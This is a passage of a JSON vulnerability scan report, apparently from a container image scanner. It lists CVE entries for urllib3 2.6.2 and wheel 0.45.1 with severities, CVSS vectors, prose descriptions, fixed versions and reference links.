"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:28158", "https://access.redhat.com/errata/RHSA-2026:28159", "https://access.redhat.com/security/cve/CVE-2026-44431", "https://advisory.echohq.com/cve/CVE-2026-44431", "https://bugzilla.redhat.com/2477154", "https://bugzilla.redhat.com/2477167", "https://bugzilla.redhat.com/show_bug.cgi?id=2477154", "https://bugzilla.redhat.com/show_bug.cgi?id=2477167", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44432", "https://errata.almalinux.org/9/ALSA-2026-28159.html", "https://errata.rockylinux.org/RLSA-2026:28158", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc", "https://linux.oracle.com/cve/CVE-2026-44431.html", "https://linux.oracle.com/errata/ELSA-2026-49927.html", "https://lists.debian.org/debian-lts-announce/2026/06/msg00040.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-44431", "https://ubuntu.com/security/notices/USN-8379-1", "https://ubuntu.com/security/notices/USN-8811-1", "https://www.cve.org/CVERecord?id=CVE-2026-44431" ], "PublishedDate": "2026-05-13T16:16:57.15Z", "LastModifiedDate": "2026-06-26T12:16:32.423Z" }, { "VulnerabilityID": "CVE-2026-44432", "VendorIDs": [ "GHSA-mf9v-mfxr-j63j" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.2", "UID": "ec2fbcd6436a5e43" }, "InstalledVersion": "2.6.2", "FixedVersion": "2.7.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44432", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d254f7bb842064b1a2bff7b42d39bb33b6ebe8c401dcaa3c2f2c09eb9f94125c", "Title": "urllib3: urllib3: Denial of Service due to excessive HTTP response decompression", "Description": "urllib3 is an HTTP client library for Python. From 2.6.0 to before 2.7.0, urllib3 could decompress the whole response instead of the requested portion (1) during the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library or (2) when HTTPResponse.drain_conn() was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data) on the client side. This vulnerability is fixed in 2.7.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V3Score": 7.5, "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:15862", "https://access.redhat.com/errata/RHSA-2026:20338", "https://access.redhat.com/errata/RHSA-2026:22934", "https://access.redhat.com/errata/RHSA-2026:24000", "https://access.redhat.com/errata/RHSA-2026:24009", "https://access.redhat.com/errata/RHSA-2026:24014", "https://access.redhat.com/errata/RHSA-2026:24069", "https://access.redhat.com/errata/RHSA-2026:24374", "https://access.redhat.com/errata/RHSA-2026:24476", "https://access.redhat.com/errata/RHSA-2026:24483", "https://access.redhat.com/errata/RHSA-2026:24540", "https://access.redhat.com/errata/RHSA-2026:24541", "https://access.redhat.com/errata/RHSA-2026:24542", "https://access.redhat.com/errata/RHSA-2026:24544", "https://access.redhat.com/errata/RHSA-2026:25039", "https://access.redhat.com/errata/RHSA-2026:25143", "https://access.redhat.com/errata/RHSA-2026:25928", "https://access.redhat.com/errata/RHSA-2026:26212", "https://access.redhat.com/errata/RHSA-2026:26304", "https://access.redhat.com/errata/RHSA-2026:27929", "https://access.redhat.com/errata/RHSA-2026:28000", "https://access.redhat.com/errata/RHSA-2026:28157", "https://access.redhat.com/errata/RHSA-2026:28158", "https://access.redhat.com/errata/RHSA-2026:28159", "https://access.redhat.com/errata/RHSA-2026:28571", "https://access.redhat.com/errata/RHSA-2026:30076", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:32992", "https://access.redhat.com/errata/RHSA-2026:33313", "https://access.redhat.com/errata/RHSA-2026:33683", "https://access.redhat.com/errata/RHSA-2026:34160", "https://access.redhat.com/errata/RHSA-2026:34374", "https://access.redhat.com/errata/RHSA-2026:34526", "https://access.redhat.com/errata/RHSA-2026:34531", "https://access.redhat.com/errata/RHSA-2026:34533", "https://access.redhat.com/errata/RHSA-2026:34607", "https://access.redhat.com/errata/RHSA-2026:36350", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42144", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:51206", "https://access.redhat.com/errata/RHSA-2026:56347", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59409", "https://access.redhat.com/errata/RHSA-2026:60362", "https://access.redhat.com/errata/RHSA-2026:60371", "https://access.redhat.com/errata/RHSA-2026:7625", "https://access.redhat.com/errata/RHSA-2026:7634", "https://access.redhat.com/security/cve/CVE-2026-44432", "https://advisory.echohq.com/cve/CVE-2026-44432", "https://bugzilla.redhat.com/2477154", "https://bugzilla.redhat.com/2477167", "https://bugzilla.redhat.com/show_bug.cgi?id=2477154", "https://bugzilla.redhat.com/show_bug.cgi?id=2477167", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44432", "https://errata.almalinux.org/9/ALSA-2026-28159.html", "https://errata.rockylinux.org/RLSA-2026:28158", "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j", "https://linux.oracle.com/cve/CVE-2026-44432.html", "https://linux.oracle.com/errata/ELSA-2026-32992.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-44432", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44432.json", "https://ubuntu.com/security/notices/USN-8379-1", "https://www.cve.org/CVERecord?id=CVE-2026-44432" ], "PublishedDate": "2026-05-13T16:16:57.303Z", "LastModifiedDate": "2026-09-10T13:20:11.887Z" }, { "VulnerabilityID": "CVE-2026-97687", "VendorIDs": [ "GHSA-8988-9cw3-xx77" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.2", "UID": "ec2fbcd6436a5e43" }, "InstalledVersion": "2.6.2", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97687", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7cd4da5cb12421e8aa617852fabf50513851e2932c076cb9482bc84cb3b8a31e", "Title": "urllib3: urllib3: Traffic interception via HTTPS proxy TLS configuration override", "Description": "urllib3 is an HTTP client library for Python. From 1.26.0 until 2.8.0, the proxy_ssl_context, proxy_assert_hostname, proxy_assert_fingerprint, ssl_context, cert_reqs, verify_mode, use_forwarding_for_https=True, and CERT_NONE configuration paths fail to remain separated because target-server TLS settings are incorrectly applied to the HTTPS proxy connection. The trigger is that an application uses an HTTPS proxy and configures target-server TLS settings that must remain separate from the proxy TLS handshake, including HTTPS forwarding with target-specific identity or credentials. Applying cert_reqs=CERT_NONE can overwrite proxy_ssl_context.verify_mode in place, and the mutation persists so later connections reusing the same context may connect to the HTTPS proxy without certificate verification. The attack mechanism is that an attacker intercepts and impersonates the HTTPS proxy after the effective proxy policy accepts the attacker's certificate. The impact is that the attacker can observe or modify forwarded traffic or receive a target TLS client certificate, while CONNECT tunneling still preserves the separate end-to-end target TLS connection. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-440" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97687", "https://advisory.echohq.com/cve/CVE-2026-97687", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465", "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3", "https://github.com/urllib3/urllib3/pull/5093", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77", "https://linux.oracle.com/cve/CVE-2026-97687.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97687", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97687" ], "PublishedDate": "2026-09-29T16:17:18.517Z", "LastModifiedDate": "2026-10-13T20:27:23.13Z" }, { "VulnerabilityID": "CVE-2026-97689", "VendorIDs": [ "GHSA-vxq7-64xx-v4gw" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.2", "UID": "ec2fbcd6436a5e43" }, "InstalledVersion": "2.6.2", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97689", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:99746ca72e444958512ef651afaacddb698a68dbe01bc29fdcdd7dbcbb5a10a2", "Title": "urllib3: urllib3: Denial of Service via unbounded memory allocation in chunk parser", "Description": "urllib3 is an HTTP client library for Python. From 1.10.3 until 2.8.0, the HTTPResponse.read_chunked and HTTPResponse.stream methods can allocate unbounded memory because the streaming chunk parser buffers the chunk-size field until newline or EOF without a length bound. The trigger is that a malicious server returns Transfer-Encoding: chunked followed by a very long run of bytes without a newline. The attack mechanism is that a malicious HTTP server sends a very long unterminated chunk-size line. The impact is that unbounded memory allocation can exhaust the client process. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97689", "https://advisory.echohq.com/cve/CVE-2026-97689", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw", "https://linux.oracle.com/cve/CVE-2026-97689.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97689", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97689" ], "PublishedDate": "2026-09-29T16:17:18.837Z", "LastModifiedDate": "2026-10-13T20:20:06.95Z" }, { "VulnerabilityID": "CVE-2026-24049", "VendorIDs": [ "GHSA-8rrh-rw8j-w5fx" ], "PkgName": "wheel", "PkgPath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/wheel-0.45.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "68d1f5691b386b62" }, "InstalledVersion": "0.45.1", "FixedVersion": "0.46.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-24049", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f0559ec6cd7cc0abe1b1e039ca30a941970cd0a72ca2252836abc8b9c55800df", "Title": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking", "Description": "wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.", "Severity": "HIGH", "CweIDs": [ "CWE-22", "CWE-732" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "ghsa": 3, "nvd": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "V3Score": 5.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:1504", "https://access.redhat.com/errata/RHSA-2026:17599", "https://access.redhat.com/errata/RHSA-2026:1902", "https://access.redhat.com/errata/RHSA-2026:1939", "https://access.redhat.com/errata/RHSA-2026:1942", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20089", "https://access.redhat.com/errata/RHSA-2026:2090", "https://access.redhat.com/errata/RHSA-2026:2106", "https://access.redhat.com/errata/RHSA-2026:2139", "https://access.redhat.com/errata/RHSA-2026:2675", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2694", "https://access.redhat.com/errata/RHSA-2026:2695", "https://access.redhat.com/errata/RHSA-2026:2710", "https://access.redhat.com/errata/RHSA-2026:2754", "https://access.redhat.com/errata/RHSA-2026:2762", "https://access.redhat.com/errata/RHSA-2026:2823", "https://access.redhat.com/errata/RHSA-2026:2865", "https://access.redhat.com/errata/RHSA-2026:2866", "https://access.redhat.com/errata/RHSA-2026:2900", "https://access.redhat.com/errata/RHSA-2026:2925", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:3782", "https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:4185", "https://access.redhat.com/errata/RHSA-2026:4215", "https://access.redhat.com/errata/RHSA-2026:4271", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:5119", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:6192", "https://access.redhat.com/errata/RHSA-2026:62115", "https://access.redhat.com/errata/RHSA-2026:6555", "https://access.redhat.com/errata/RHSA-2026:6562", "https://access.redhat.com/errata/RHSA-2026:6565", "https://access.redhat.com/errata/RHSA-2026:7250", "https://access.redhat.com/security/cve/CVE-2026-24049", "https://advisory.echohq.com/cve/CVE-2026-24049", "https://bugzilla.redhat.com/2431959", "https://bugzilla.redhat.com/show_bug.cgi?id=2431959", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24049", "https://errata.almalinux.org/9/ALSA-2026-1939.html", "https://errata.rockylinux.org/RLSA-2026:1939", "https://github.com/pypa/wheel", "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef", "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e", "https://github.com/pypa/wheel/releases/tag/0.46.2", "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx", "https://linux.oracle.com/cve/CVE-2026-24049.html", "https://linux.oracle.com/errata/ELSA-2026-2090.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-24049", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24049.json", "https://ubuntu.com/security/notices/USN-8221-1", "https://www.cve.org/CVERecord?id=CVE-2026-24049" ], "PublishedDate": "2026-01-22T05:16:23.157Z", "LastModifiedDate": "2026-09-10T13:17:45.017Z" }, { "VulnerabilityID": "CVE-2026-24049", "VendorIDs": [ "GHSA-8rrh-rw8j-w5fx" ], "PkgName": "wheel", "PkgPath": "usr/local/lib/python3.11/site-packages/wheel-0.45.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "588d1d5b79ef6155" }, "InstalledVersion": "0.45.1", "FixedVersion": "0.46.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-24049", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f0559ec6cd7cc0abe1b1e039ca30a941970cd0a72ca2252836abc8b9c55800df", "Title": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking", "Description": "wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.", "Severity": "HIGH", "CweIDs": [ "CWE-22", "CWE-732" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "ghsa": 3, "nvd": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "V3Score": 5.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:1504", "https://access.redhat.com/errata/RHSA-2026:17599", "https://access.redhat.com/errata/RHSA-2026:1902", "https://access.redhat.com/errata/RHSA-2026:1939", "https://access.redhat.com/errata/RHSA-2026:1942", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20089", "https://access.redhat.com/errata/RHSA-2026:2090", "https://access.redhat.com/errata/RHSA-2026:2106", "https://access.redhat.com/errata/RHSA-2026:2139", "https://access.redhat.com/errata/RHSA-2026:2675", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2694", "https://access.redhat.com/errata/RHSA-2026:2695", "https://access.redhat.com/errata/RHSA-2026:2710", "https://access.redhat.com/errata/RHSA-2026:2754", "https://access.redhat.com/errata/RHSA-2026:2762", "https://access.redhat.com/errata/RHSA-2026:2823", "https://access.redhat.com/errata/RHSA-2026:2865", "https://access.redhat.com/errata/RHSA-2026:2866", "https://access.redhat.com/errata/RHSA-2026:2900", "https://access.redhat.com/errata/RHSA-2026:2925", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:3782", "https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:4185", "https://access.redhat.com/errata/RHSA-2026:4215", "https://access.redhat.com/errata/RHSA-2026:4271", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:5119", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:6192", "https://access.redhat.com/errata/RHSA-2026:62115", "https://access.redhat.com/errata/RHSA-2026:6555", "https://access.redhat.com/errata/RHSA-2026:6562", "https://access.redhat.com/errata/RHSA-2026:6565", "https://access.redhat.com/errata/RHSA-2026:7250", "https://access.redhat.com/security/cve/CVE-2026-24049", "https://advisory.echohq.com/cve/CVE-2026-24049", "https://bugzilla.redhat.com/2431959", "https://bugzilla.redhat.com/show_bug.cgi?id=2431959", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24049", "https://errata.almalinux.org/9/ALSA-2026-1939.html", "https://errata.rockylinux.org/RLSA-2026:1939", "https://github.com/pypa/wheel", "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef", "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e", "https://github.com/pypa/wheel/releases/tag/0.46.2", "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx", "https://linux.oracle.com/cve/CVE-2026-24049.html", "https://linux.oracle.com/errata/ELSA-2026-2090.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-24049", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24049.json", "https://ubuntu.com/security/notices/USN-8221-1", "https://www.cve.org/CVERecord?id=CVE-2026-24049" ], "PublishedDate": "2026-01-22T05:16:23.157Z", "LastModifiedDate": "2026-09-10T13:17:45.017Z" } ] } ] }